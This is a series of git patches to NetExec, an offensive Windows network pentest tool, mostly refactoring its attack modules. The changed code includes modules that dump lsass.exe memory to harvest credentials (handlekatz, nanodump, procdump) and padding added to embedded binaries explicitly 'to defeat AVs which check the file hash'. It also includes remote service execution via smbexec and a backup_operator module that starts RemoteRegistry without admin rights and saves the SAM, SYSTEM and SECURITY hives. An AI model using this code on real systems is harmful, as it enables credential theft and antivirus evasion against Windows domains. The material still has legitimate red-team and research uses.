self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert: self.logger.debug("Trying to authenticate using Certificate pfx") if not self.args.username: self.logger.fail("You must specify a username when using certificate authentication") diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 4d084468..769f5123 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -496,8 +496,8 @@ def pfx_auth(self): if self.args.pfx_cert or self.args.pfx_base64: pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) - elif self.args.cert_pem and self.args.key_pem: - ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams) + elif self.args.pem_cert and self.args.pem_key: + ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams) else: self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") return None From e5e750d8971ab51c07be33d9b327fadc771de8b2 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 23 Jan 2025 03:41:01 -0500 Subject: [PATCH 225/376] Updated for procdump, handlekatz and procdump either --- nxc/modules/handlekatz.py | 6 +++++- nxc/modules/nanodump.py | 5 +++++ nxc/modules/procdump.py | 5 +++++ 3 files changed, 15 insertions(+), 1 deletion(-) diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7aa7ab7c..7f7617c2 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -5,7 +5,7 @@ import base64 import re import sys - +from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from pypykatz.pypykatz import pypykatz @@ -34,6 +34,10 @@ class NXCModule: self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True + current_time = datetime.now() + time_string = current_time.strftime("%Y%m%d%H%M%S") + padding = time_string.encode() + self.handlekatz_embeded = self.handlekatz_embeded + padding if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 5dc1ec2d..32d6ff04 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -51,6 +51,11 @@ class NXCModule: self.nano = "nano.exe" self.nano_path = "" self.useembeded = True + current_time = datetime.now() + time_string = current_time.strftime("%Y%m%d%H%M%S") + padding = time_string.encode() + self.nano_embedded64 = self.nano_embedded64 + padding + self.nano_embedded32 = self.nano_embedded32 + padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 6432481b..7753dd82 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -9,6 +9,7 @@ import pypykatz from nxc.helpers.bloodhound import add_user_bh from nxc.paths import TMP_PATH from os.path import abspath, join +from datetime import datetime class NXCModule: @@ -35,6 +36,10 @@ class NXCModule: self.procdump_path = abspath(TMP_PATH) self.dir_result = self.procdump_path self.useembeded = True + current_time = datetime.now() + time_string = current_time.strftime("%Y%m%d%H%M%S") + padding = time_string.encode() + self.procdump_embeded = self.procdump_embeded + padding if "PROCDUMP_PATH" in module_options: self.procdump_path = module_options["PROCDUMP_PATH"] From 8309947719699ce1ed38d3e1631a8efc873c0445 Mon Sep 17 00:00:00 2001 From: Joytide Date: Thu, 23 Jan 2025 16:11:33 +0100 Subject: [PATCH 226/376] Fix: privileged groups SID not found error --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e77a23f3..2460bd7d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -590,6 +590,8 @@ class ldap(connection): for attribute in item["attributes"]: if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) + if len(answers) == 0: + return # 3. get member of these groups search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" From 93a7bd6c7d7f3584e9875c3e1c8e1a3e9189049d Mon Sep 17 00:00:00 2001 From: lap1nou Date: Thu, 23 Jan 2025 22:34:15 +0100 Subject: [PATCH 227/376] Added get_credentials and get_crdential function for LDAP protocol --- nxc/protocols/ldap/database.py | 36 ++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py index c222048e..1062db39 100644 --- a/nxc/protocols/ldap/database.py +++ b/nxc/protocols/ldap/database.py @@ -165,3 +165,39 @@ class database(BaseDB): q_groups = Insert(self.GroupRelationsTable) self.db_execute(q_groups, groups) + + def is_credential_valid(self, credential_id): + """Check if this credential ID is valid.""" + q = select(self.UsersTable).filter( + self.UsersTable.c.id == credential_id, + self.UsersTable.c.password is not None, + ) + results = self.db_execute(q).all() + return len(results) > 0 + + def get_credentials(self, filter_term=None, cred_type=None): + """Return credentials from the database.""" + # if we're returning a single credential by ID + if self.is_credential_valid(filter_term): + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) + elif cred_type: + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) + # if we're filtering by username + elif filter_term and filter_term != "": + like_term = func.lower(f"%{filter_term}%") + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) + # otherwise return all credentials + else: + q = select(self.UsersTable) + + return self.db_execute(q).all() + + def get_credential(self, cred_type, domain, username, password): + q = select(self.UsersTable).filter( + self.UsersTable.c.domain == domain, + self.UsersTable.c.username == username, + self.UsersTable.c.password == password, + self.UsersTable.c.credtype == cred_type, + ) + results = self.db_execute(q).first() + return results.id \ No newline at end of file From 34f6ce2580eda9824d1759f0453662c8d7bffb06 Mon Sep 17 00:00:00 2001 From: Joytide Date: Sun, 26 Jan 2025 02:48:09 +0100 Subject: [PATCH 228/376] Added debug output on lack of default privileged RID --- nxc/protocols/ldap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 2460bd7d..460bf3f0 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -591,6 +591,7 @@ class ldap(connection): if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) if len(answers) == 0: + self.logger.debug(f"No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. get member of these groups From d6445d553e2a1f8fe27b9e3927dbc21658d6bcca Mon Sep 17 00:00:00 2001 From: jdholtz Date: Wed, 29 Jan 2025 12:24:56 -0800 Subject: [PATCH 229/376] [smb] Always delete service when using smbexec --- nxc/protocols/smb/smbexec.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 8d894f62..a6d75c81 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -124,13 +124,12 @@ class SMBEXEC: try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) - - self.logger.debug(f"Remote service {self.__serviceName} deleted.") - scmr.hRDeleteService(self.__scmr, service) - scmr.hRCloseServiceHandle(self.__scmr, service) except Exception: pass + self.logger.debug(f"Remote service {self.__serviceName} deleted.") + scmr.hRDeleteService(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_remote() def get_output_remote(self): From 7f43b4a4dd3cd78d7a7670c5a9aebce5ef6ece94 Mon Sep 17 00:00:00 2001 From: jdholtz Date: Thu, 30 Jan 2025 10:18:14 -0800 Subject: [PATCH 230/376] [smb] Wrap the service deletion in a separate try/except block --- nxc/protocols/smb/smbexec.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index a6d75c81..ab043dbf 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -127,9 +127,13 @@ class SMBEXEC: except Exception: pass - self.logger.debug(f"Remote service {self.__serviceName} deleted.") - scmr.hRDeleteService(self.__scmr, service) - scmr.hRCloseServiceHandle(self.__scmr, service) + try: + self.logger.debug(f"Remote service {self.__serviceName} deleted.") + scmr.hRDeleteService(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, service) + except Exception: + pass + self.get_output_remote() def get_output_remote(self): From 643519ddc17c652796a44d2ec0e8f83669f2ad4e Mon Sep 17 00:00:00 2001 From: termanix Date: Sun, 2 Feb 2025 11:41:30 -0500 Subject: [PATCH 231/376] ruff fixed f-string without any placeholders --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 460bf3f0..1bde176d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -591,7 +591,7 @@ class ldap(connection): if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) if len(answers) == 0: - self.logger.debug(f"No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") + self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. get member of these groups From 34063e3410eaf969f68a37b45c7ed3a27bd64ea2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:09:30 -0500 Subject: [PATCH 232/376] Increase readability --- nxc/modules/handlekatz.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index af18005f..6bc5758e 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -97,12 +97,15 @@ class NXCModule: context.log.fail("Process lsass.exe error un dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_handlekatz_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) if not matches: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") @@ -115,7 +118,6 @@ class NXCModule: context.log.fail(f"Error while get file: {e}") self.delete_handlekatz_binary() - try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") @@ -180,9 +182,6 @@ class NXCModule: except Exception as e: context.log.fail(f"Error opening dump file: {e}") - else: - self.delete_handlekatz_binary(connection, context) - def delete_handlekatz_binary(self, connection, context): try: connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) From 056b69a92c32392ec1f3b580e042c7e12bdd63a9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:10:01 -0500 Subject: [PATCH 233/376] Lint --- nxc/modules/handlekatz.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 6bc5758e..3e5411cb 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -50,7 +50,7 @@ class NXCModule: def on_admin_login(self, context, connection): handlekatz_loc = self.handlekatz_path + self.handlekatz - + if self.useembeded: try: with open(handlekatz_loc, "wb") as handlekatz: From 7d918e403b646e9fd65ca04efddf11b4b71a018c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:11:09 -0500 Subject: [PATCH 234/376] Increase readability --- nxc/modules/nanodump.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 71a86144..91938836 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -149,7 +149,10 @@ class NXCModule: self.context.log.fail("Process lsass.exe error on dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_nanodump_binary() + return + else: self.context.log.display(f"Copying {nano_log_name} to host") filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") if self.context.protocol == "smb": @@ -251,9 +254,6 @@ class NXCModule: add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") - - else: - self.delete_nanodump_binary() def delete_nanodump_binary(self): try: From cb6cef60e8681988f88f281870de1fbc6f599de7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:13:20 -0500 Subject: [PATCH 235/376] Increase readability and don't force quit on error --- nxc/modules/procdump.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index c53a0ae6..68f1c90c 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -4,7 +4,6 @@ import base64 import re -import sys import pypykatz from nxc.helpers.bloodhound import add_user_bh from nxc.paths import TMP_PATH @@ -79,7 +78,10 @@ class NXCModule: else: context.log.fail("Process lsass.exe error un dump, try with verbose") - if dump: + if not dump: + self.delete_procdump_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*.dmp)" matches = re.search(regex, str(p), re.MULTILINE) machine_name = "" @@ -87,7 +89,7 @@ class NXCModule: machine_name = matches.group() else: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return context.log.display(f"Copy {machine_name} to host") @@ -149,12 +151,9 @@ class NXCModule: except Exception as e: context.log.fail("Error openning dump file", str(e)) - else: - self.delete_procdump_binary(connection, context) - def delete_procdump_binary(self, connection, context): try: connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) context.log.success(f"Deleted procdump file on the {self.share} share") except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") \ No newline at end of file + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") From f87535ee3af29b68488508ffbbe764a533cd00ae Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:18:12 -0500 Subject: [PATCH 236/376] Lint --- nxc/modules/nanodump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 91938836..053bdcaf 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -254,7 +254,7 @@ class NXCModule: add_user_bh(bh_creds, None, self.context.log, self.connection.config) except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") - + def delete_nanodump_binary(self): try: self.connection.execute(f"del {self.remote_tmp_dir + self.nano}") From 97fb011169b596a16dd586cda21766af128c913e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Feb 2025 18:41:35 -0500 Subject: [PATCH 237/376] Simplify code --- nxc/modules/handlekatz.py | 6 ++---- nxc/modules/impersonate.py | 8 +++----- nxc/modules/nanodump.py | 9 ++++----- nxc/modules/pi.py | 6 ++---- nxc/modules/procdump.py | 6 ++---- 5 files changed, 13 insertions(+), 22 deletions(-) diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7f7617c2..8bfac799 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -34,10 +34,8 @@ class NXCModule: self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True - current_time = datetime.now() - time_string = current_time.strftime("%Y%m%d%H%M%S") - padding = time_string.encode() - self.handlekatz_embeded = self.handlekatz_embeded + padding + # Add some random binary data to defeat AVs which check the file hash + self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 09069f11..15dbfe5a 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -29,14 +29,12 @@ class NXCModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" - current_time = datetime.now() - time_string = current_time.strftime("%Y%m%d%H%M%S") with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) - - padding = time_string.encode() - self.impersonate_embedded = self.impersonate_embedded + padding + + # Add some random binary data to defeat AVs which check the file hash + self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 32d6ff04..92e2daff 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -51,11 +51,10 @@ class NXCModule: self.nano = "nano.exe" self.nano_path = "" self.useembeded = True - current_time = datetime.now() - time_string = current_time.strftime("%Y%m%d%H%M%S") - padding = time_string.encode() - self.nano_embedded64 = self.nano_embedded64 + padding - self.nano_embedded32 = self.nano_embedded32 + padding + # Add some random binary data to defeat AVs which check the file hash + padding = datetime.now().strftime("%Y%m%d%H%M%S").encode() + self.nano_embedded64 += padding + self.nano_embedded32 += padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index e58e3c10..3be8b74e 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -25,14 +25,12 @@ class NXCModule: self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" - current_time = datetime.now() - time_string = current_time.strftime("%Y%m%d%H%M%S") with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) - padding = time_string.encode() - self.pi_embedded = self.pi_embedded + padding + # Add some random binary data to defeat AVs which check the file hash + self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 7753dd82..85905998 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -36,10 +36,8 @@ class NXCModule: self.procdump_path = abspath(TMP_PATH) self.dir_result = self.procdump_path self.useembeded = True - current_time = datetime.now() - time_string = current_time.strftime("%Y%m%d%H%M%S") - padding = time_string.encode() - self.procdump_embeded = self.procdump_embeded + padding + # Add some random binary data to defeat AVs which check the file hash + self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "PROCDUMP_PATH" in module_options: self.procdump_path = module_options["PROCDUMP_PATH"] From d8020bba2bb7dbc27c3e3cfeac9bc4ebf76d4268 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 08:20:32 -0500 Subject: [PATCH 238/376] Add Kerberos support and comments --- nxc/modules/backup_operator.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 9423c1ab..f0fd6cb7 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,6 +6,7 @@ import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket import nt_errors from nxc.paths import NXC_PATH @@ -24,16 +25,20 @@ class NXCModule: self.domain_admin_hash = None def options(self, context, module_options): - """OPTIONS""" + """NO OPTIONS""" def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - context.log.display("Triggering start through named pipe...") + context.log.display("Triggering RemoteRegistry to start through named pipe...") self.trigger_winreg(connection.conn, context) rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) + if connection.kerberos: + rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) dce = rpc.get_dce_rpc() + if connection.kerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) @@ -113,6 +118,7 @@ class NXCModule: def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 + # Basically triggers the RemoteRegistry to start without admin privs tid = connection.connectTree("IPC$") try: connection.openFile( From f6cd501eedcc13fc36ddfd38d0b1ff841cce35da Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 08:33:29 -0500 Subject: [PATCH 239/376] Fix imports and don't force quit --- nxc/modules/backup_operator.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index f0fd6cb7..3ddc66ba 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,12 +1,11 @@ import time import os import datetime -import sys from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket import nt_errors from nxc.paths import NXC_PATH @@ -53,7 +52,7 @@ class NXCModule: context.log.highlight(f"Saved {hive} to {outputFileName}") except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") - sys.exit() + return except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: @@ -105,7 +104,7 @@ class NXCModule: if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: context.log.fail(f"Fail to remove the file { hive }...") self.suppress_error(context) - sys.exit() + return context.log.display("Successfully deleted dump files !") else: self.suppress_error(context) From f3ebe6b781d49e723b4d15c7bfd1595cd60e63d8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 09:14:43 -0500 Subject: [PATCH 240/376] Fix detection if SAM/SYSTEM/SECURITY were deleted --- nxc/modules/backup_operator.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 3ddc66ba..4b858312 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -6,7 +6,6 @@ from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE -from impacket import nt_errors from nxc.paths import NXC_PATH @@ -22,6 +21,7 @@ class NXCModule: self.module_options = module_options self.domain_admin = None self.domain_admin_hash = None + self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted def options(self, context, module_options): """NO OPTIONS""" @@ -99,21 +99,22 @@ class NXCModule: connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM") for hive in ["SAM", "SECURITY", "SYSTEM"]: try: - connection.conn.listPath("SYSVOL", log_path + hive) + out = connection.conn.listPath("SYSVOL", hive) + if out: + self.deleted_files = False + context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}") except SessionError as e: - if e.getErrorCode() != nt_errors.STATUS_OBJECT_PATH_NOT_FOUND: - context.log.fail(f"Fail to remove the file { hive }...") - self.suppress_error(context) - return - context.log.display("Successfully deleted dump files !") + context.log.debug(f"File {hive} successfully removed: {e}") else: - self.suppress_error(context) + self.deleted_files = False else: - self.suppress_error(context) + self.deleted_files = False - def suppress_error(self, context): - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display("netexec smb dc_ip -u user -p pass -x 'del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM'") + if not self.deleted_files: + context.log.display("Use the domain admin account to clean the file on the remote host") + context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003 + else: + context.log.display("Successfully deleted dump files !") def trigger_winreg(self, connection, context): # Original idea from https://twitter.com/splinter_code/status/1715876413474025704 From 310cc9b3338affc06dad7d3f02e959541a214759 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 16:10:56 -0500 Subject: [PATCH 241/376] Improve readability --- nxc/protocols/ldap.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4542cc56..4aa1bf28 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -659,7 +659,9 @@ class ldap(connection): self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") From b5b9f07575193a2e4bd69e3ed5349e87b83a926e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:08:52 -0500 Subject: [PATCH 242/376] Simplify logic --- nxc/protocols/ldap.py | 31 ++++++------------------------- 1 file changed, 6 insertions(+), 25 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4aa1bf28..0378d08f 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -743,23 +743,11 @@ class ldap(connection): self.logger.fail("General Error:", exc_info=True) self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") - def active_users(self): - """Helper function to format userAccountControl""" - def check_user_account_control(user_account_control): - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - self.count += 1 - activeusers.append(user.get("sAMAccountName").lower()) - return activeusers - + def active_users(self): if len(self.args.active_users) > 0: - arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: - arg = False self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" @@ -768,21 +756,14 @@ class ldap(connection): resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: - allusers = parse_result_attributes(resp) - activeusers = [] - self.count = 0 + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", 2)) & 2)] - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control: - # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. - activeusers = check_user_account_control(user_account_control) - self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - - self.logger.display(f"Total records returned: {self.count}, total {len(allusers) - self.count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(allusers)}") + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in allusers: + for user in active_users: pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") From 45e5e4c3e84f12eb3111d579e9b3894e1bd75b1d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:17:57 -0500 Subject: [PATCH 243/376] Improve readability --- nxc/protocols/ldap.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 0378d08f..e003696e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -658,7 +658,6 @@ class ldap(connection): self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parse: - # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") @@ -764,7 +763,9 @@ class ldap(connection): 